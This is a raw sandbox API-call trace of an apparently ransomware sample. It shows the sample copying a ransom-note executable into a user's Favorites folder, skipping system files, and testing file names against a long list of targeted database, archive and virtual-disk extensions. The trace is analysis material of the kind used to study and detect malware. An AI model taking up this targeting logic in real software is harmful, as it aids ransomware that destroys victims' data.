	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="pagefile.sys") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="boot") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="ids.txt") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="ntuser.dat") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="perflogs") returned 1
	[0088.583] lstrcmpiW (lpString1="Windows Live", lpString2="MSBuild") returned 1
	[0088.583] lstrlenW (lpString="Windows Live") returned 12
	[0088.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned 52
	[0088.583] lstrcpyW (in: lpString1=0x119e658, lpString2="Windows Live" | out: lpString1="Windows Live") returned="Windows Live"
	[0088.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0088.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a8a8
	[0088.583] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7970
	[0088.583] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3040eaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3040eaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0
	[0088.583] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.583] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0088.583] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live"
	[0088.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0088.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned 52
	[0088.583] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live"
	[0088.584] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.584] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.584] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.585] GetLastError () returned 0x0
	[0088.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.585] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.585] CloseHandle (hObject=0x10c) returned 1
	[0088.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.585] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3040eaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3040eaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.585] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.585] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.585] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.585] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3040eaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3040eaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.585] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.585] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.585] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.585] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.585] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1
	[0088.585] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.585] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.585] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".") returned 1
	[0088.585] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="..") returned 1
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="windows") returned -1
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="bootmgr") returned 1
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="temp") returned -1
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="pagefile.sys") returned -1
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="boot") returned 1
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="ids.txt") returned -1
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="ntuser.dat") returned -1
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="perflogs") returned -1
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="MSBuild") returned -1
	[0088.586] lstrlenW (lpString="Get Windows Live.url") returned 20
	[0088.586] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*") returned 54
	[0088.586] lstrcpyW (in: lpString1=0x119e672, lpString2="Get Windows Live.url" | out: lpString1="Get Windows Live.url") returned="Get Windows Live.url"
	[0088.586] lstrlenW (lpString="Get Windows Live.url") returned 20
	[0088.586] lstrlenW (lpString="Apollon865") returned 10
	[0088.586] lstrcmpiW (lpString1="s Live.url", lpString2="Apollon865") returned 1
	[0088.586] lstrlenW (lpString=".dll") returned 4
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".dll") returned 1
	[0088.586] lstrlenW (lpString=".lnk") returned 4
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".lnk") returned 1
	[0088.586] lstrlenW (lpString=".ini") returned 4
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".ini") returned 1
	[0088.586] lstrlenW (lpString=".sys") returned 4
	[0088.586] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".sys") returned 1
	[0088.586] lstrlenW (lpString="Get Windows Live.url") returned 20
	[0088.586] lstrlenW (lpString="bak") returned 3
	[0088.586] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0088.586] lstrlenW (lpString="ba_") returned 3
	[0088.586] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0088.586] lstrlenW (lpString="dbb") returned 3
	[0088.586] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0088.586] lstrlenW (lpString="vmdk") returned 4
	[0088.586] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0088.586] lstrlenW (lpString="rar") returned 3
	[0088.586] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0088.586] lstrlenW (lpString="zip") returned 3
	[0088.586] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0088.586] lstrlenW (lpString="tgz") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0088.587] lstrlenW (lpString="vbox") returned 4
	[0088.587] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0088.587] lstrlenW (lpString="vdi") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0088.587] lstrlenW (lpString="vhd") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0088.587] lstrlenW (lpString="vhdx") returned 4
	[0088.587] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0088.587] lstrlenW (lpString="avhd") returned 4
	[0088.587] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0088.587] lstrlenW (lpString="db") returned 2
	[0088.587] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0088.587] lstrlenW (lpString="db2") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0088.587] lstrlenW (lpString="db3") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0088.587] lstrlenW (lpString="dbf") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0088.587] lstrlenW (lpString="mdf") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0088.587] lstrlenW (lpString="mdb") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0088.587] lstrlenW (lpString="sql") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0088.587] lstrlenW (lpString="sqlite") returned 6
	[0088.587] lstrcmpiW (lpString1="ve.url", lpString2="sqlite") returned 1
	[0088.587] lstrlenW (lpString="sqlite3") returned 7
	[0088.587] lstrcmpiW (lpString1="ive.url", lpString2="sqlite3") returned -1
	[0088.587] lstrlenW (lpString="sqlitedb") returned 8
	[0088.587] lstrcmpiW (lpString1="Live.url", lpString2="sqlitedb") returned -1
	[0088.587] lstrlenW (lpString="xml") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0088.587] lstrlenW (lpString="$er") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0088.587] lstrlenW (lpString="4dd") returned 3
	[0088.587] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0088.588] lstrlenW (lpString="4dl") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0088.588] lstrlenW (lpString="^^^") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0088.588] lstrlenW (lpString="abs") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0088.588] lstrlenW (lpString="abx") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0088.588] lstrlenW (lpString="accdb") returned 5
	[0088.588] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1
	[0088.588] lstrlenW (lpString="accdc") returned 5
	[0088.588] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1
	[0088.588] lstrlenW (lpString="accde") returned 5
	[0088.588] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1
	[0088.588] lstrlenW (lpString="accdr") returned 5
	[0088.588] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1
	[0088.588] lstrlenW (lpString="accdt") returned 5
	[0088.588] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1
	[0088.588] lstrlenW (lpString="accdw") returned 5
	[0088.588] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1
	[0088.588] lstrlenW (lpString="accft") returned 5
	[0088.588] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1
	[0088.588] lstrlenW (lpString="adb") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.588] lstrlenW (lpString="adb") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.588] lstrlenW (lpString="ade") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0088.588] lstrlenW (lpString="adf") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0088.588] lstrlenW (lpString="adn") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0088.588] lstrlenW (lpString="adp") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0088.588] lstrlenW (lpString="alf") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0088.588] lstrlenW (lpString="ask") returned 3
	[0088.588] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0088.589] lstrlenW (lpString="btr") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0088.589] lstrlenW (lpString="cat") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0088.589] lstrlenW (lpString="cdb") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0088.589] lstrlenW (lpString="ckp") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0088.589] lstrlenW (lpString="cma") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0088.589] lstrlenW (lpString="cpd") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0088.589] lstrlenW (lpString="dacpac") returned 6
	[0088.589] lstrcmpiW (lpString1="ve.url", lpString2="dacpac") returned 1
	[0088.589] lstrlenW (lpString="dad") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0088.589] lstrlenW (lpString="dadiagrams") returned 10
	[0088.589] lstrcmpiW (lpString1="s Live.url", lpString2="dadiagrams") returned 1
	[0088.589] lstrlenW (lpString="daschema") returned 8
	[0088.589] lstrcmpiW (lpString1="Live.url", lpString2="daschema") returned 1
	[0088.589] lstrlenW (lpString="db-journal") returned 10
	[0088.589] lstrcmpiW (lpString1="s Live.url", lpString2="db-journal") returned 1
	[0088.589] lstrlenW (lpString="db-shm") returned 6
	[0088.589] lstrcmpiW (lpString1="ve.url", lpString2="db-shm") returned 1
	[0088.589] lstrlenW (lpString="db-wal") returned 6
	[0088.589] lstrcmpiW (lpString1="ve.url", lpString2="db-wal") returned 1
	[0088.589] lstrlenW (lpString="dbc") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0088.589] lstrlenW (lpString="dbs") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0088.589] lstrlenW (lpString="dbt") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0088.589] lstrlenW (lpString="dbv") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0088.589] lstrlenW (lpString="dbx") returned 3
	[0088.589] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0088.589] lstrlenW (lpString="dcb") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0088.590] lstrlenW (lpString="dct") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0088.590] lstrlenW (lpString="dcx") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0088.590] lstrlenW (lpString="ddl") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0088.590] lstrlenW (lpString="dlis") returned 4
	[0088.590] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0088.590] lstrlenW (lpString="dp1") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0088.590] lstrlenW (lpString="dqy") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0088.590] lstrlenW (lpString="dsk") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0088.590] lstrlenW (lpString="dsn") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0088.590] lstrlenW (lpString="dtsx") returned 4
	[0088.590] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0088.590] lstrlenW (lpString="dxl") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0088.590] lstrlenW (lpString="eco") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0088.590] lstrlenW (lpString="ecx") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0088.590] lstrlenW (lpString="edb") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0088.590] lstrlenW (lpString="epim") returned 4
	[0088.590] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0088.590] lstrlenW (lpString="fcd") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0088.590] lstrlenW (lpString="fdb") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0088.590] lstrlenW (lpString="fic") returned 3
	[0088.590] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0088.590] lstrlenW (lpString="flexolibrary") returned 12
	[0088.590] lstrcmpiW (lpString1="ows Live.url", lpString2="flexolibrary") returned 1
	[0088.591] lstrlenW (lpString="fm5") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0088.591] lstrlenW (lpString="fmp") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0088.591] lstrlenW (lpString="fmp12") returned 5
	[0088.591] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1
	[0088.591] lstrlenW (lpString="fmpsl") returned 5
	[0088.591] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1
	[0088.591] lstrlenW (lpString="fol") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0088.591] lstrlenW (lpString="fp3") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0088.591] lstrlenW (lpString="fp4") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0088.591] lstrlenW (lpString="fp5") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0088.591] lstrlenW (lpString="fp7") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0088.591] lstrlenW (lpString="fpt") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0088.591] lstrlenW (lpString="frm") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0088.591] lstrlenW (lpString="gdb") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0088.591] lstrlenW (lpString="gdb") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0088.591] lstrlenW (lpString="grdb") returned 4
	[0088.591] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0088.591] lstrlenW (lpString="gwi") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0088.591] lstrlenW (lpString="hdb") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0088.591] lstrlenW (lpString="his") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0088.591] lstrlenW (lpString="ib") returned 2
	[0088.591] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0088.591] lstrlenW (lpString="idb") returned 3
	[0088.591] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0088.592] lstrlenW (lpString="ihx") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0088.592] lstrlenW (lpString="itdb") returned 4
	[0088.592] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0088.592] lstrlenW (lpString="itw") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0088.592] lstrlenW (lpString="jet") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0088.592] lstrlenW (lpString="jtx") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0088.592] lstrlenW (lpString="kdb") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0088.592] lstrlenW (lpString="kexi") returned 4
	[0088.592] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0088.592] lstrlenW (lpString="kexic") returned 5
	[0088.592] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1
	[0088.592] lstrlenW (lpString="kexis") returned 5
	[0088.592] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1
	[0088.592] lstrlenW (lpString="lgc") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0088.592] lstrlenW (lpString="lwx") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0088.592] lstrlenW (lpString="maf") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0088.592] lstrlenW (lpString="maq") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0088.592] lstrlenW (lpString="mar") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0088.592] lstrlenW (lpString="marshal") returned 7
	[0088.592] lstrcmpiW (lpString1="ive.url", lpString2="marshal") returned -1
	[0088.592] lstrlenW (lpString="mas") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0088.592] lstrlenW (lpString="mav") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0088.592] lstrlenW (lpString="maw") returned 3
	[0088.592] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0088.592] lstrlenW (lpString="mdbhtml") returned 7
	[0088.593] lstrcmpiW (lpString1="ive.url", lpString2="mdbhtml") returned -1
	[0088.593] lstrlenW (lpString="mdn") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0088.593] lstrlenW (lpString="mdt") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0088.593] lstrlenW (lpString="mfd") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0088.593] lstrlenW (lpString="mpd") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0088.593] lstrlenW (lpString="mrg") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0088.593] lstrlenW (lpString="mud") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0088.593] lstrlenW (lpString="mwb") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0088.593] lstrlenW (lpString="myd") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0088.593] lstrlenW (lpString="ndf") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0088.593] lstrlenW (lpString="nnt") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0088.593] lstrlenW (lpString="nrmlib") returned 6
	[0088.593] lstrcmpiW (lpString1="ve.url", lpString2="nrmlib") returned 1
	[0088.593] lstrlenW (lpString="ns2") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0088.593] lstrlenW (lpString="ns3") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0088.593] lstrlenW (lpString="ns4") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0088.593] lstrlenW (lpString="nsf") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0088.593] lstrlenW (lpString="nv") returned 2
	[0088.593] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0088.593] lstrlenW (lpString="nv2") returned 3
	[0088.593] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0088.594] lstrlenW (lpString="nwdb") returned 4
	[0088.594] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0088.594] lstrlenW (lpString="nyf") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0088.594] lstrlenW (lpString="odb") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0088.594] lstrlenW (lpString="odb") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0088.594] lstrlenW (lpString="oqy") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0088.594] lstrlenW (lpString="ora") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0088.594] lstrlenW (lpString="orx") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0088.594] lstrlenW (lpString="owc") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0088.594] lstrlenW (lpString="p96") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0088.594] lstrlenW (lpString="p97") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0088.594] lstrlenW (lpString="pan") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0088.594] lstrlenW (lpString="pdb") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0088.594] lstrlenW (lpString="pdm") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0088.594] lstrlenW (lpString="pnz") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0088.594] lstrlenW (lpString="qry") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0088.594] lstrlenW (lpString="qvd") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0088.594] lstrlenW (lpString="rbf") returned 3
	[0088.594] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0088.594] lstrlenW (lpString="rctd") returned 4
	[0088.594] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0088.594] lstrlenW (lpString="rod") returned 3
	[0088.595] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0088.595] lstrlenW (lpString="rodx") returned 4
	[0088.595] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
